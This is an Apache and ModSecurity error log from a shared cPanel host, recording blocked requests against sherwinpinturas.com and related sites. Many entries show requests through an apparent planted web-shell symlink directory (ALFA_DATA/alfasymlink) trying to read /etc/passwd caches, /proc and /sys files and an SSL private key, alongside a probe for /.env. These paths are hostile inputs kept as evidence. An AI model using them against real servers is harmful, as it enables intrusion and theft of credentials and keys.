[Mon Oct 26 07:29:19.939386 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTQAAACA"]
[Mon Oct 26 07:29:19.939642 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api"] [unique_id "at85j2r0p85NPswPKocFTQAAACA"]
[Mon Oct 26 07:29:21.575593 2026] [core:error] [pid 3023418:tid 3023418] (13)Permission denied: [client 85.208.96.196:59992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/order
[Mon Oct 26 07:29:26.956037 2026] [security2:error] [pid 3023411:tid 3023411] [client 16.216.88.56:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/phpmailer/"] [unique_id "at85licjAQpeTLq_I8cXDQAAACM"]
[Mon Oct 26 07:29:26.956069 2026] [security2:error] [pid 3023411:tid 3023411] [client 16.216.88.56:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/phpmailer/"] [unique_id "at85licjAQpeTLq_I8cXDQAAACM"]
[Mon Oct 26 07:29:27.548944 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 23.23.104.107:57979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:35.543597 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.156.248.117:60978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:51.643435 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 18.213.240.226:25535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:56.021369 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 23.21.228.180:52941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:59.654698 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 52.1.157.90:11744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:07.807766 2026] [ssl:error] [pid 3019671:tid 3019671] (22)Invalid argument: [client 98.83.177.42:19127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:15.680242 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 3.217.171.106:34447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource0
[Mon Oct 26 07:30:19.674714 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 44.223.193.255:27128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/hardware_error_device/unbind
[Mon Oct 26 07:30:23.840110 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 100.29.160.53:3514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:31.922856 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 44.197.76.210:54056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:39.868751 2026] [ssl:error] [pid 3011079:tid 3011079] (5)Input/output error: [client 3.212.205.90:15211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:44.162122 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 34.196.114.170:49276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:30:51.883889 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 44.207.69.106:7107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:00.365471 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 34.192.67.98:46143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:01.380673 2026] [authz_core:error] [pid 3019681:tid 3019681] [client 195.178.110.31:54670] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 07:31:07.826126 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.225.98.148:37336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:26.445302 2026] [authz_core:error] [pid 3008498:tid 3008498] [client 195.178.110.31:15252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 07:31:31.710138 2026] [authz_core:error] [pid 3008498:tid 3008498] [client 195.178.110.31:15252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 07:31:32.489496 2026] [authz_core:error] [pid 3008498:tid 3008498] [client 195.178.110.31:15252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 07:31:47.914500 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 44.216.172.204:6521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:52.316424 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 52.203.152.231:36111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:55.737682 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 52.7.13.143:28924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:31:59.747963 2026] [ssl:error] [pid 3023411:tid 3023411] (70014)End of file found: [client 54.147.182.90:52543] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:15.897943 2026] [ssl:error] [pid 3023416:tid 3023416] (70014)End of file found: [client 52.71.46.142:24433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:19.948428 2026] [core:error] [pid 3023421:tid 3023421] (13)Permission denied: [client 3.221.222.168:11259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4
[Mon Oct 26 07:32:23.746912 2026] [ssl:error] [pid 3019696:tid 3019696] (5)Input/output error: [client 3.213.106.226:17322] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:27.904795 2026] [ssl:error] [pid 3023656:tid 3023656] (70014)End of file found: [client 54.89.90.224:45901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:39.917127 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 18.214.138.148:55092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:43.483269 2026] [core:error] [pid 3023416:tid 3023416] (13)Permission denied: [client 185.191.171.2:43998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/alloc_calls
[Mon Oct 26 07:32:43.911011 2026] [core:error] [pid 3023656:tid 3023656] (13)Permission denied: [client 34.194.233.48:1179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/serio/drivers/atkbd/uevent
[Mon Oct 26 07:32:47.738732 2026] [ssl:error] [pid 3023421:tid 3023421] (70014)End of file found: [client 35.173.18.61:9833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:32:48.556186 2026] [core:error] [pid 3023667:tid 3023667] (13)Permission denied: [client 185.191.171.17:34936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/passwd.nouids.cache
[Mon Oct 26 07:32:55.737849 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 18.213.27.222:65222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:33:08.097724 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 34.195.248.30:34965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0700:00/subsystem/drivers_probe
[Mon Oct 26 07:33:11.890157 2026] [ssl:error] [pid 3023416:tid 3023416] (70014)End of file found: [client 54.209.100.30:21397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:33:23.746226 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 52.0.41.164:26358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:33:34.111527 2026] [security2:error] [pid 3023421:tid 3023421] [client 130.12.180.164:58118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at86jqAsFWOHjjgw1_PRXwAAADA"]
[Mon Oct 26 07:33:34.111813 2026] [security2:error] [pid 3023421:tid 3023421] [client 130.12.180.164:58118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at86jqAsFWOHjjgw1_PRXwAAADA"]
[Mon Oct 26 07:33:34.112186 2026] [security2:error] [pid 3023421:tid 3023421] [client 130.12.180.164:58118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at86jqAsFWOHjjgw1_PRXwAAADA"]
[Mon Oct 26 07:33:39.668911 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 52.205.113.104:19663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:33:42.395504 2026] [core:crit] [pid 3019693:tid 3019693] (13)Permission denied: [client 199.165.159.81:63314] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 07:33:43.175802 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 185.191.171.14:61994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/slabs
[Mon Oct 26 07:33:43.652001 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 3.224.104.67:52268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:33:46.429353 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 185.191.171.6:46196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:03.656717 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 54.197.114.76:10023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:07.705601 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 54.235.172.96:35215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/battery/unbind
[Mon Oct 26 07:34:11.580129 2026] [ssl:error] [pid 3023421:tid 3023421] (70014)End of file found: [client 54.83.23.103:34781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:23.728716 2026] [ssl:error] [pid 3023409:tid 3023409] (70014)End of file found: [client 52.204.81.148:55613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:31.506194 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 50.17.193.48:25245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:35.646733 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 52.23.112.144:15890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:39.489261 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 98.82.66.172:62672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:34:59.543460 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 54.210.152.179:41951] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:03.513844 2026] [core:error] [pid 3023417:tid 3023417] (13)Permission denied: [client 3.217.82.254:40958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/virtio1/driver/uevent
[Mon Oct 26 07:35:12.268294 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 52.70.209.13:50002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:15.290979 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 52.0.105.244:13753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node1/drvctl
[Mon Oct 26 07:35:23.282041 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 23.21.179.27:46709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:31.342342 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 35.173.18.61:1301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:35.730651 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.90.8.255:54193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:43.131960 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 100.28.49.152:16615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:47.516738 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 44.195.50.71:58356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:52.032501 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 34.192.67.98:3203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:55.159737 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 54.147.182.90:2184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:35:59.109023 2026] [ssl:error] [pid 3023667:tid 3023667] (70014)End of file found: [client 3.90.73.206:11920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:07.274306 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 52.203.65.83:40504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:15.109962 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 3.214.176.44:19155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:23.097732 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.235.172.96:38493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:27.169506 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 23.21.175.228:44108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:28.608608 2026] [core:error] [pid 3023410:tid 3023410] (13)Permission denied: [client 85.208.96.210:24120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/red_zone
[Mon Oct 26 07:36:31.243629 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 52.205.141.124:51300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:31.619008 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 85.208.96.202:35026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:35.031595 2026] [core:error] [pid 3023419:tid 3023419] (13)Permission denied: [client 98.82.59.253:13695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource1
[Mon Oct 26 07:36:42.858524 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 23.21.148.226:11969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:44.224676 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 185.191.171.3:54392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:46.986996 2026] [ssl:error] [pid 3023410:tid 3023410] (70014)End of file found: [client 54.163.136.244:31611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:47.985446 2026] [core:error] [pid 3023345:tid 3023345] (13)Permission denied: [client 85.208.96.196:64348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/slab_size
[Mon Oct 26 07:36:52.855550 2026] [security2:error] [pid 3019667:tid 3019667] [client 107.172.76.131:53449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87SJ_dbg3ptBnwDgQ4TQAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:36:52.855594 2026] [security2:error] [pid 3019667:tid 3019667] [client 107.172.76.131:53449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87SJ_dbg3ptBnwDgQ4TQAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:36:54.818603 2026] [ssl:error] [pid 3023419:tid 3023419] (70014)End of file found: [client 18.214.124.6:29335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:36:58.895386 2026] [core:error] [pid 3023736:tid 3023736] (13)Permission denied: [client 98.84.60.17:6725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/button/unbind
[Mon Oct 26 07:37:14.694565 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 34.194.95.99:52250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:18.671461 2026] [core:error] [pid 3023419:tid 3023419] (13)Permission denied: [client 35.168.238.50:32609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/bind
[Mon Oct 26 07:37:20.448548 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 185.191.171.2:43860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:22.849944 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 34.205.163.103:62786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:30.754003 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 34.224.9.144:8547] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:34.249165 2026] [security2:error] [pid 3023419:tid 3023419] [client 185.191.171.12:16858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/wintercms/install.php"] [unique_id "at87fgYnWvzacgZlxZBOFgAAAC4"]
[Mon Oct 26 07:37:34.249208 2026] [security2:error] [pid 3023419:tid 3023419] [client 185.191.171.12:16858] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/wintercms/install.php"] [unique_id "at87fgYnWvzacgZlxZBOFgAAAC4"]
[Mon Oct 26 07:37:38.616178 2026] [ssl:error] [pid 3023410:tid 3023410] (70014)End of file found: [client 54.157.99.244:23227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:46.480952 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 44.215.210.112:3692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:48.524742 2026] [security2:error] [pid 3011079:tid 3011079] [client 107.172.76.131:53451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87gMgik5L9rcLL2-vA2AAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 07:37:48.524808 2026] [security2:error] [pid 3011079:tid 3011079] [client 107.172.76.131:53451] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87gMgik5L9rcLL2-vA2AAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 07:37:50.414668 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 44.213.202.136:51753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:37:56.642709 2026] [core:error] [pid 3023341:tid 3023341] (13)Permission denied: [client 85.208.96.211:42236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/objects
[Mon Oct 26 07:37:58.432697 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 18.205.91.101:19469] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:00.137387 2026] [security2:error] [pid 3023413:tid 3023413] [client 85.208.96.199:65436] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac609_77d19_55383a99078d2e4ec0f5a2f7324c7be0.key"] [unique_id "at87mGku6GZfqACxyeR7VgAAACU"]
[Mon Oct 26 07:38:00.137739 2026] [security2:error] [pid 3023413:tid 3023413] [client 85.208.96.199:65436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac609_77d19_55383a99078d2e4ec0f5a2f7324c7be0.key"] [unique_id "at87mGku6GZfqACxyeR7VgAAACU"]
[Mon Oct 26 07:38:00.138162 2026] [security2:error] [pid 3023413:tid 3023413] [client 85.208.96.199:65436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac609_77d19_55383a99078d2e4ec0f5a2f7324c7be0.key"] [unique_id "at87mGku6GZfqACxyeR7VgAAACU"]
[Mon Oct 26 07:38:02.525198 2026] [core:error] [pid 3023419:tid 3023419] (13)Permission denied: [client 34.231.156.59:2454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory7/subsystem/uevent
[Mon Oct 26 07:38:10.265316 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 52.6.232.201:18828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/ata_generic/unbind
[Mon Oct 26 07:38:20.087713 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 98.83.94.113:33997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:22.204931 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 44.221.105.234:23082] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:34.340781 2026] [core:error] [pid 3023413:tid 3023413] (13)Permission denied: [client 23.21.175.228:26690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 07:38:38.198898 2026] [ssl:error] [pid 3023341:tid 3023341] (70014)End of file found: [client 98.82.214.73:5940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:42.223248 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 44.194.139.149:5769] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:46.297931 2026] [ssl:error] [pid 3023413:tid 3023413] (70014)End of file found: [client 44.216.172.204:43531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:38:46.361899 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53448] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at87uqXMILbsMtUzObzKDwAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
